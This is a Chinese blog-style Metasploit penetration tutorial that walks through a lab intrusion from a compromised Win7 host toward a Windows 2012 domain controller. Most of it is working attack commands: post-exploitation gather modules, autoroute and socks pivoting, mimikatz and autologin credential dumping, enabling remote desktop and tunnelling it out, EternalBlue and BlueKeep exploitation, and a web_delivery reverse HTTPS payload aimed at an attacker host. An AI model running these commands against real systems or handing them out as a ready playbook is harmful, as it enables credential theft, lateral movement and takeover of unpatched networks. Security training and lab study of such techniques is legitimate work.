msf实战渗透指南(一)

环境介绍:


主机介绍:

靶机一:win7(192.168.107.141)
靶机二:Win 2012 Server R2(192.168.107.137,域控服务器)
攻击机:Debian 10(119.x.x.x)

本来想再添加一个网卡,尽量模仿真实环境。但Vmware似乎不能添加网卡,所以只有1个网段

目前进展:

攻击机刚刚获取win7的meterpreter

检查数据库连接情况:
db_status

服务器相关信息收集:


run post/windows/gather/checkvm  # 查看是否为虚拟机
run post/windows/gather/enum_patches  # 查看补丁
run post/windows/gather/enum_services  # 查看对应的程序服务
run post/windows/gather/enum_applications  # 查看安装的应用
run post/windows/gather/forensics/enum_drives  # 查看磁盘信息
run post/windows/gather/enum_shares  # 查看共享
列举当前登录的用户:

该模块同时还会列举c:\users\下的所有目录及sid

run post/windows/gather/enum_logged_on_users
获取内网网段信息:
route    #打印路由表
run get_local_subnets
添加一条通向目标服务器内网的路由:
run autoroute -s 192.168.107.0/24
打印路由信息,确认是否成功添加路由:
run autoroute -p
扫描IP段及端口开放情况:

方案一:进入shell,通过arp协议,显示电脑上所有的ARP缓存条目:

发现存在主机:192.168.107.137

方案二:直接进行整个网段端口扫描(效率低,不建议使用)

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.107.0/24
set threads 50
run
对当前控制主机提权:

方案一:快速识别系统中可能被利用的漏洞进行提权:

run post/multi/recon/local_exploit_suggester

方案二:查看系统补丁,然后根据补丁号去找exp(补丁结果不全,效率较低):

run post/windows/gather/enum_patches

方案三:进程注入提权:

ps
migrate num
获取明文密码:

方案一:加载mimikatz模块:

load mimikatz

常用命令:

msv          # 获取hash
kerberos  # 获取明文
ssp          # 获取明文信息
tspkg       # 尝试检索tspkg凭据
wdigest    # 尝试检索wdigest凭据
mimikatz_command -f samdump::hashes   # 获取hash
mimikatz_command -f sekurlsa::searchPasswords   # 获取明文密码

方案二:抓取自动登录的用户名和密码:
很多用户习惯将计算机设置为自动登录,利用以下命令抓取自动登录的用户名和密码

run post/windows/gather/credentials/windows_autologin

开启远程桌面:

查找远程桌面开放的端口(不一定是3389):

# 查看TermService服务,得到PID
tasklist /svc | find "Ter"
# 查看远程桌面开放的端口
netstat -ano | find "pid"   

发现目标未开启远程桌面,尝试开启:

run post/windows/manage/enable_rdp
端口转发连接远程桌面:

由于我没win的外网服务器,这里通过NatApp进行内网穿透,随机域名/随机TCP、UDP、不定时更换域名/端口和自定义端口

1、注册后购买隧道,选择免费的即可:

2、下载config.ini,输入自己的authtoken

3、下载客户端到目标主机,运行Natapp

到这里这台主机已经渗透得差不多了

内网漫游:


搭建socks搭建:

注意:在使用代理之前,我们需要先添加路由

use auxiliary/server/socks4a
run

vi /etc/proxychains.conf
socks4  127.0.0.1 1080

可以看到成功访问内网Web服务~

但其实 proxychains 还是有很多问题的,不太稳定... 为了延缓这一缺点,MSF 有一个参数可以弥补这一缺点:

msf6 > setg Proxies socks5:你的socksIP:端口

MSF 只需要设置这一条参数就可以接入 Socks5 隧道!
之后为了梳理扫描到的漏洞资产或者其他,我们需要把 MSF 连接到数据库:

msf6 > db_connect postgres:[email protected]/msfdb
Connected to Postgres data service: 127.0.0.1/msfdb

设置好之后,以后通过 MSF 扫描到的资产或者漏洞都可以保存到数据库:

msf6 > services      # 查看扫描到的资产IP及端口
msf6 > vulns      # 查看扫描到的漏洞资产

获取目标主机操作系统信息:

proxychains nmap -Pn -O 192.168.107.137

理论上是可行的,从下图中看到流量会经过socks,但最后不知为啥没结果。。师傅们知道的话带带弟弟把

探测及利用MS17-010漏洞(永恒之蓝):

漏洞探测:

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.107.0/24
set threads 50
run

漏洞利用:
需要针对与不同的操作系统位数来选择不同的利用模块打;如果目标操作系统是 Win7x64、2008x64 的,可以直接使用正向代理 exploit 利用模块打过去:

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
run

要是目标系统是 2003x32、Win7x32 的只能使用这个模块去执行命令:

msf6> use auxiliary/admin/smb/ms17_010_command
msf6> set command whoami
msf6> run

利用思路:添加一个超级管理员权限的用户,开启它远程桌面服务

CVE-2019-0708-远程代码执行:

除了永恒之蓝还有 0708 可以快速获取到目标主机权限(前提目标开启了 3389,未打补丁),实际情况下很多单位都只打了永恒之蓝的补丁,对于 0708 的补丁还没打,所以很多情况下还是可以利用的!针对于0708 可以使用这个模块打:

msf6> use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf6> run

注意:0708 一般来说要打很多次,其中目标主机还会关机蓝屏

哈希传递:

当服务器存在杀软或其他情况,无法获取明文密码时,可通过PTH进行内网漫游,在之前的文章有记录,具体方法这里不再叙述

补充:


常用命令:

idletime      #查看运行时间
screenshot      # 屏幕截图
webcam_list      #查看目标机是否有摄像头

数据库后端命令:

db_connect        连接到现有的数据库
db_disconnect     断开当前数据库实例
db_export         导出包含数据库内容的文件
db_import         导入扫描结果文件(文件类型将被自动检测)
db_nmap           执行nmap并自动记录输出
db_rebuild_cache  重建数据库存储的模块缓存
db_status         显示当前的数据库状态
hosts             列出数据库中的所有主机
loot              列出数据库中的所有战利品
notes             列出数据库中的所有注释
services          列出数据库中的所有服务
vulns             列出数据库中的所有漏洞
workspace         在数据库工作区之间切换
use exploit/multi/script/web_delivery
set targets 2
set payload windows/x64/meterpreter/reverse_https
set lhost xxx.xxx.xxx.xxx
set lport 4332
set srvport
run

参考如下:


后渗透阶段总结(提权+信息收集+内外渗透+后门)
基于 Metasploit 如何快速在内网拿到其他跳板机

你可能感兴趣的:(msf实战渗透指南(一))